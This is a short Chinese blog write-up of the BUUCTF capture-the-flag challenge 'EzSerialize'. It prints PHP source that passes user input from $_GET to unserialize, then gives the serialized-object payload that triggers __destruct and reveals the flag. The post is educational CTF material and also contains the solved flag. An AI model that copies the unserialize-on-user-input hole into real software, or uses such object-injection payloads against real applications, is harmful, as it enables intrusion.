【BUUCTF】EzSerialize

Itachi

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
class flag{

public $key;

public function __destruct(){
if($this -> key === 'yes'){
include('flag.php');
echo $flag;
}else{
die("No,You don't have key!");
}
}

}

@unserialize($_GET['ctf']);

分析

1
2
3
4
5
6
7
8
public function __destruct(){
if($this -> key === 'yes'){
include('flag.php');
echo $flag;
}else{
die("No,You don't have key!");
}
}

__destruct()方法在函数销毁时触发,如果此时的 $key'yes'的时候,读取 flag.php并返回

payload

  • 类的序列化字符串:O:4:"flag":1:{}
  • 公有属性的序列化字符串:s:3:"key";
  • yes的序列化结果:s:3:"yes";

故payload:?ctf=O:4:"flag":1:{s:3:"key";s:3:"yes";}
img

得到:flag{b2793e68e357be0626ca8d62233c8199}

  • 标题: 【BUUCTF】EzSerialize
  • 作者: Itachi
  • 创建于 : 2021-11-30 02:06:28
  • 更新于 : 2021-11-30 03:21:56
  • 链接: https://blog.tarchi.top/ctf/【BUUCTF】EzSerialize/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论
此页目录
【BUUCTF】EzSerialize